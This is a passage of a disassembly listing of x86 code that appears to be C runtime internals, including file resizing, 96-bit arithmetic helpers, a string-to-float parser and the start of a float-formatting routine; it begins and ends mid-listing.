loc_425156: ; CODE XREF: sub_4250B2+7Ej ; sub_4250B2+87j mov eax, edi loc_425158: ; CODE XREF: sub_4250B2+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42515C: ; CODE XREF: sub_4250B2+69j push esi jmp short loc_42514B ; --------------------------------------------------------------------------- loc_42515F: ; CODE XREF: sub_4250B2+92j xor eax, eax jmp short loc_425158 sub_4250B2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241E3 loc_425163: ; CODE XREF: sub_4241E3+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DD020, esi jle short loc_4251B6 loc_425172: ; CODE XREF: sub_4241E3+FD1j mov eax, dword_4DC01C mov eax, [eax+esi*4] test eax, eax jz short loc_4251AD test byte ptr [eax+0Ch], 83h jz short loc_425191 push eax call sub_41BA3B cmp eax, 0FFFFFFFFh pop ecx jz short loc_425191 inc edi loc_425191: ; CODE XREF: sub_4241E3+F9Fj ; sub_4241E3+FABj cmp esi, 14h jl short loc_4251AD mov eax, dword_4DC01C push dword ptr [eax+esi*4] call sub_41BA91 mov eax, dword_4DC01C pop ecx and dword ptr [eax+esi*4], 0 loc_4251AD: ; CODE XREF: sub_4241E3+F99j ; sub_4241E3+FB1j inc esi cmp esi, dword_4DD020 jl short loc_425172 loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4241E3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251BB proc near ; CODE XREF: sub_42423B+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DD140 jnb loc_4252F0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_4252F0 push 1 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_4252FA push 2 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_4252FA push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_42529D push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41BF70 loc_425240: ; DATA XREF: ___:off_438CB8o push 8000h push ebx call sub_425D78 add esp, 14h mov [ebp+arg_4], eax loc_425251: ; CODE XREF: sub_4251BB+BDj mov eax, 1000h cmp edi, eax jge short loc_42525C mov eax, edi loc_42525C: ; CODE XREF: sub_4251BB+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_42527A sub edi, eax test edi, edi jle short loc_425290 jmp short loc_425251 ; --------------------------------------------------------------------------- loc_42527A: ; CODE XREF: sub_4251BB+B5j cmp dword_4DBDE0, 5 jnz short loc_42528D mov dword_4DBDDC, 0Dh loc_42528D: ; CODE XREF: sub_4251BB+C6j or esi, 0FFFFFFFFh loc_425290: ; CODE XREF: sub_4251BB+BBj push [ebp+arg_4] push ebx call sub_425D78 pop ecx pop ecx jmp short loc_4252DD ; --------------------------------------------------------------------------- loc_42529D: ; CODE XREF: sub_4251BB+71j jge short loc_4252DD push 0 push [ebp+arg_4] push ebx call sub_422F09 push ebx call sub_4240AA add esp, 10h push eax nop call near ptr 25F0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_4252DD mov dword_4DBDDC, 0Dh nop call near ptr 2680880h mov dword_4DBDE0, eax loc_4252DD: ; CODE XREF: sub_4251BB+E0j ; sub_4251BB:loc_42529Dj ... push 0 push [ebp+arg_0] push ebx call sub_422F09 add esp, 0Ch mov eax, esi pop edi jmp short loc_4252FD ; --------------------------------------------------------------------------- loc_4252F0: ; CODE XREF: sub_4251BB+1Aj ; sub_4251BB+36j mov dword_4DBDDC, 9 loc_4252FA: ; CODE XREF: sub_4251BB+4Ej ; sub_4251BB+63j or eax, 0FFFFFFFFh loc_4252FD: ; CODE XREF: sub_4251BB+133j pop esi pop ebx leave retn sub_4251BB endp ; =============== S U B R O U T I N E ======================================= sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp ; sub_4249DF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425317 cmp ecx, esi jnb short loc_42531A loc_425317: ; CODE XREF: sub_425301+10j push 1 pop eax loc_42531A: ; CODE XREF: sub_425301+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425301 endp ; =============== S U B R O U T I N E ======================================= sub_425322 proc near ; CODE XREF: sub_4253DB+40p ; sub_4253DB+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 inc dword ptr [esi+8] loc_425354: ; CODE XREF: sub_425322+19j ; sub_425322+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_42536C inc dword ptr [esi+8] loc_42536C: ; CODE XREF: sub_425322+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425301 add esp, 0Ch pop edi pop esi retn sub_425322 endp ; =============== S U B R O U T I N E ======================================= sub_425380 proc near ; CODE XREF: sub_4253DB+30p ; sub_4253DB+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_425380 endp ; =============== S U B R O U T I N E ======================================= sub_4253AE proc near ; CODE XREF: sub_425973+1C8p ; sub_425DEE+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4253AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42544F push edi mov [ebp+arg_8], eax loc_425402: ; CODE XREF: sub_4253DB+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_425380 push ebx call sub_425380 lea eax, [ebp+var_10] push eax push ebx call sub_425322 push ebx call sub_425380 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425322 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425402 xor edx, edx pop edi loc_42544F: ; CODE XREF: sub_4253DB+21j ; sub_4253DB+9Fj cmp [ebx+8], edx jnz short loc_42547C mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42544F ; --------------------------------------------------------------------------- loc_42547C: ; CODE XREF: sub_4253DB+77j mov esi, 8000h loc_425481: ; CODE XREF: sub_4253DB+B9j test [ebx+8], esi jnz short loc_425496 push ebx call sub_425380 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_425481 ; --------------------------------------------------------------------------- loc_425496: ; CODE XREF: sub_4253DB+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_4253DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4254A2 proc near ; CODE XREF: sub_424D28+17p ; sub_424D55+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_4254DD: ; CODE XREF: sub_4254A2+52j mov cl, [edi] cmp cl, 20h jz short loc_4254F3 cmp cl, 9 jz short loc_4254F3 cmp cl, 0Ah jz short loc_4254F3 cmp cl, 0Dh jnz short loc_4254F6 loc_4254F3: ; CODE XREF: sub_4254A2+40j ; sub_4254A2+45j ... inc edi jmp short loc_4254DD ; --------------------------------------------------------------------------- loc_4254F6: ; CODE XREF: sub_4254A2+4Fj push 4 pop esi loc_4254F9: ; CODE XREF: sub_4254A2+AEj ; sub_4254A2+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_42577C ; default ; jumptable 00425505 case 10 jmp off_425943[eax*4] ; switch jump loc_42550C: ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 0 jl short loc_42551D cmp bl, 39h jg short loc_42551D loc_425516: ; CODE XREF: sub_4254A2+C4j ; sub_4254A2+118j push 3 jmp loc_42573A ; --------------------------------------------------------------------------- loc_42551D: ; CODE XREF: sub_4254A2+6Dj ; sub_4254A2+72j cmp bl, byte_43D088 jnz short loc_42552C loc_425525: ; CODE XREF: sub_4254A2+124j push 5 jmp loc_425772 ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4254A2+81j movsx eax, bl sub eax, 2Bh jz short loc_425552 dec eax dec eax jz short loc_425546 sub eax, 3 jnz loc_425815 jmp loc_4255D5 ; --------------------------------------------------------------------------- loc_425546: ; CODE XREF: sub_4254A2+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_425552: ; CODE XREF: sub_4254A2+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_42555B: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 1 mov [ebp+var_10], edx jl short loc_425568 cmp bl, 39h jle short loc_425516 loc_425568: ; CODE XREF: sub_4254A2+BFj cmp bl, byte_43D088 jz loc_425630 cmp bl, 2Bh jz short loc_4255AA cmp bl, 2Dh jz short loc_4255AA cmp bl, 30h jz short loc_4255D5 loc_425583: ; CODE XREF: sub_4254A2+207j cmp bl, 43h jle loc_425815 cmp bl, 45h jle short loc_4255A3 cmp bl, 63h jle loc_425815 cmp bl, 65h jg loc_425815 loc_4255A3: ; CODE XREF: sub_4254A2+EDj push 6 jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255AA: ; CODE XREF: sub_4254A2+D5j ; sub_4254A2+DAj ... dec edi push 0Bh jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255B2: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 2 jl short loc_4255C0 cmp bl, 39h jle loc_425516 loc_4255C0: ; CODE XREF: sub_4254A2+113j cmp bl, byte_43D088 jz loc_425525 cmp bl, 30h jnz loc_42578A loc_4255D5: ; CODE XREF: sub_4254A2+9Fj ; sub_4254A2+DFj mov eax, edx jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_4255DC: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_10], edx ; jumptable 00425505 case 3 loc_4255DF: ; CODE XREF: sub_4254A2+184j cmp dword_43D084, edx jle short loc_4255F8 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425606 ; --------------------------------------------------------------------------- loc_4255F8: ; CODE XREF: sub_4254A2+143j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425606: ; CODE XREF: sub_4254A2+154j test eax, eax jz short loc_425628 cmp [ebp+var_4], 19h jnb short loc_425620 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425623 ; --------------------------------------------------------------------------- loc_425620: ; CODE XREF: sub_4254A2+16Cj inc [ebp+var_8] loc_425623: ; CODE XREF: sub_4254A2+17Cj mov bl, [edi] inc edi jmp short loc_4255DF ; --------------------------------------------------------------------------- loc_425628: ; CODE XREF: sub_4254A2+166j cmp bl, byte_43D088 jnz short loc_425697 loc_425630: ; CODE XREF: sub_4254A2+CCj mov eax, esi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425637: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp [ebp+var_4], 0 ; jumptable 00425505 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_425650 loc_425643: ; CODE XREF: sub_4254A2+1ACj cmp bl, 30h jnz short loc_425650 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425643 ; --------------------------------------------------------------------------- loc_425650: ; CODE XREF: sub_4254A2+19Fj ; sub_4254A2+1A4j ... cmp dword_43D084, edx jle short loc_425669 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425669: ; CODE XREF: sub_4254A2+1B4j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425677: ; CODE XREF: sub_4254A2+1C5j test eax, eax jz short loc_425697 cmp [ebp+var_4], 19h jnb short loc_425692 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_425692: ; CODE XREF: sub_4254A2+1DDj mov bl, [edi] inc edi jmp short loc_425650 ; --------------------------------------------------------------------------- loc_425697: ; CODE XREF: sub_4254A2+18Cj ; sub_4254A2+1D7j cmp bl, 2Bh jz loc_4255AA cmp bl, 2Dh jz loc_4255AA jmp loc_425583 ; --------------------------------------------------------------------------- loc_4256AE: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp dword_43D084, edx ; jumptable 00425505 case 5 mov [ebp+var_24], edx jle short loc_4256CA movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_4256D8 ; --------------------------------------------------------------------------- loc_4256CA: ; CODE XREF: sub_4254A2+215j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4256D8: ; CODE XREF: sub_4254A2+226j test eax, eax jz loc_42578A mov eax, esi jmp short loc_42573B ; --------------------------------------------------------------------------- loc_4256E4: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o lea ecx, [edi-2] ; jumptable 00425505 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_4256F4 cmp bl, 39h jle short loc_425738 loc_4256F4: ; CODE XREF: sub_4254A2+24Bj movsx eax, bl sub eax, 2Bh jz short loc_425770 dec eax dec eax jz short loc_425764 sub eax, 3 jnz loc_425818 loc_425709: ; CODE XREF: sub_4254A2+2A4j push 8 jmp short loc_425772 ; --------------------------------------------------------------------------- loc_42570D: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_20], edx ; jumptable 00425505 case 8 loc_425710: ; CODE XREF: sub_4254A2+276j cmp bl, 30h jnz short loc_42571A mov bl, [edi] inc edi jmp short loc_425710 ; --------------------------------------------------------------------------- loc_42571A: ; CODE XREF: sub_4254A2+271j cmp bl, 31h jl loc_425815 cmp bl, 39h jg loc_425815 jmp short loc_425738 ; --------------------------------------------------------------------------- loc_42572E: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 7 jl short loc_425741 cmp bl, 39h jg short loc_425741 loc_425738: ; CODE XREF: sub_4254A2+250j ; sub_4254A2+28Aj push 9 loc_42573A: ; CODE XREF: sub_4254A2+76j pop eax loc_42573B: ; CODE XREF: sub_4254A2+240j dec edi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425741: ; CODE XREF: sub_4254A2+28Fj ; sub_4254A2+294j cmp bl, 30h jnz short loc_42578A jmp short loc_425709 ; --------------------------------------------------------------------------- loc_425748: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11 jz short loc_425778 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_425770 dec eax dec eax jnz loc_425818 loc_425764: ; CODE XREF: sub_4254A2+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425770: ; CODE XREF: sub_4254A2+258j ; sub_4254A2+2B8j push 7 loc_425772: ; CODE XREF: sub_4254A2+85j ; sub_4254A2+103j ... pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425778: ; CODE XREF: sub_4254A2+2AAj push 0Ah dec edi pop eax loc_42577C: ; CODE XREF: sub_4254A2+5Dj ; sub_4254A2+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425505 case 10 jz loc_42581A jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_42578A: ; CODE XREF: sub_4254A2+12Dj ; sub_4254A2+238j ... mov edi, [ebp+arg_8] jmp loc_42581A ; --------------------------------------------------------------------------- loc_425792: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_20], 1 ; jumptable 00425505 case 9 xor esi, esi loc_42579B: ; CODE XREF: sub_4254A2+339j cmp dword_43D084, 1 jle short loc_4257B3 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4257C2 ; --------------------------------------------------------------------------- loc_4257B3: ; CODE XREF: sub_4254A2+300j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4257C2: ; CODE XREF: sub_4254A2+30Fj test eax, eax jz short loc_4257E2 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_4257DD mov bl, [edi] inc edi jmp short loc_42579B ; --------------------------------------------------------------------------- loc_4257DD: ; CODE XREF: sub_4254A2+334j mov esi, 1451h loc_4257E2: ; CODE XREF: sub_4254A2+322j mov [ebp+var_1C], esi loc_4257E5: ; CODE XREF: sub_4254A2+371j cmp dword_43D084, 1 jle short loc_4257FD movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_42580C ; --------------------------------------------------------------------------- loc_4257FD: ; CODE XREF: sub_4254A2+34Aj mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42580C: ; CODE XREF: sub_4254A2+359j test eax, eax jz short loc_425815 mov bl, [edi] inc edi jmp short loc_4257E5 ; --------------------------------------------------------------------------- loc_425815: ; CODE XREF: sub_4254A2+99j ; sub_4254A2+E4j ... dec edi jmp short loc_42581A ; --------------------------------------------------------------------------- loc_425818: ; CODE XREF: sub_4254A2+261j ; sub_4254A2+2BCj mov edi, ecx loc_42581A: ; CODE XREF: sub_4254A2+2DDj ; sub_4254A2+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425902 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425846 cmp [ebp+var_45], 5 jl short loc_42583A inc [ebp+var_45] loc_42583A: ; CODE XREF: sub_4254A2+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425849 ; --------------------------------------------------------------------------- loc_425846: ; CODE XREF: sub_4254A2+38Dj mov eax, [ebp+var_C] loc_425849: ; CODE XREF: sub_4254A2+3A2j cmp [ebp+var_4], 0 jbe loc_4258F8 loc_425853: ; CODE XREF: sub_4254A2+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_425861 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_425853 ; --------------------------------------------------------------------------- loc_425861: ; CODE XREF: sub_4254A2+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_4253DB mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_425880 neg eax loc_425880: ; CODE XREF: sub_4254A2+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_42588B add eax, [ebp+arg_10] loc_42588B: ; CODE XREF: sub_4254A2+3E4j cmp [ebp+var_24], ecx jnz short loc_425893 sub eax, [ebp+arg_14] loc_425893: ; CODE XREF: sub_4254A2+3ECj cmp eax, 1450h jle short loc_4258CA mov [ebp+var_2C], 1 loc_4258A1: ; CODE XREF: sub_4254A2+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4258AD: ; CODE XREF: sub_4254A2+454j ; sub_4254A2+45Ej cmp [ebp+var_2C], 0 jz short loc_425913 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_4258CA: ; CODE XREF: sub_4254A2+3F6j cmp eax, 0FFFFEBB0h jge short loc_4258DA mov [ebp+var_30], 1 jmp short loc_4258A1 ; --------------------------------------------------------------------------- loc_4258DA: ; CODE XREF: sub_4254A2+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_42600E mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_4258F8: ; CODE XREF: sub_4254A2+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_425902: ; CODE XREF: sub_4254A2+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_425913: ; CODE XREF: sub_4254A2+40Fj cmp [ebp+var_30], 0 jz short loc_425928 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425928: ; CODE XREF: sub_4254A2+426j ; sub_4254A2+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4254A2 endp ; --------------------------------------------------------------------------- off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r dd offset loc_42555B ; jump table for switch statement dd offset loc_4255B2 dd offset loc_4255DC dd offset loc_425637 dd offset loc_4256AE dd offset loc_4256E4 dd offset loc_42572E dd offset loc_42570D dd offset loc_425792 dd offset loc_42577C dd offset loc_425748 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_4259D5 mov byte ptr [ebx+2], 2Dh jmp short loc_4259D9 ; --------------------------------------------------------------------------- loc_4259D5: ; CODE XREF: sub_425973+5Aj mov byte ptr [ebx+2], 20h loc_4259D9: ; CODE XREF: sub_425973+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_4259FF test edi, edi jnz short loc_4259FF cmp [ebp+arg_0], edi jnz short loc_4259FF loc_4259EA: ; CODE XREF: sub_425973+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_425BFD ; --------------------------------------------------------------------------- loc_4259FF: ; CODE XREF: sub_425973+6Cj ; sub_425973+70j ... cmp dx, si jnz short loc_425A7E mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425A18 cmp [ebp+arg_0], 0 jz short loc_425A27 loc_425A18: ; CODE XREF: sub_425973+9Dj test edi, 40000000h jnz short loc_425A27 push offset a1Snan ; "1#SNAN" jmp short loc_425A6D ; --------------------------------------------------------------------------- loc_425A27: ; CODE XREF: sub_425973+A3j ; sub_425973+ABj test cx, cx jz short loc_425A41 cmp edi, 0C0000000h jnz short loc_425A41 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Ind ; "1#IND" jmp short loc_425A50 ; --------------------------------------------------------------------------- loc_425A41: ; CODE XREF: sub_425973+B7j ; sub_425973+BFj cmp edi, eax jnz short loc_425A68 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Inf ; "1#INF" loc_425A50: ; CODE XREF: sub_425973+CCj lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_425A5F: ; CODE XREF: sub_425973+109j and [ebp+var_4], 0 jmp loc_425BD6 ; --------------------------------------------------------------------------- loc_425A68: ; CODE XREF: sub_425973+C5j ; sub_425973+D0j ... push offset a1Qnan ; "1#QNAN" loc_425A6D: ; CODE XREF: sub_425973+B2j lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_425A5F ; --------------------------------------------------------------------------- loc_425A7E: ; CODE XREF: sub_425973+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_42600E add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_425ADF lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425DEE pop ecx pop ecx loc_425ADF: ; CODE XREF: sub_425973+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425AF9 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_425AFC jmp loc_4259EA ; --------------------------------------------------------------------------- loc_425AF9: ; CODE XREF: sub_425973+173j mov edi, [ebp+arg_C] loc_425AFC: ; CODE XREF: sub_425973+17Fj cmp edi, 15h jle short loc_425B04 push 15h pop edi loc_425B04: ; CODE XREF: sub_425973+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425B1A: ; CODE XREF: sub_425973+1B4j lea eax, [ebp+var_10] push eax call sub_425380 dec [ebp+arg_14] pop ecx jnz short loc_425B1A test esi, esi jge short loc_425B44 neg esi and esi, 0FFh jle short loc_425B44 loc_425B37: ; CODE XREF: sub_425973+1CFj lea 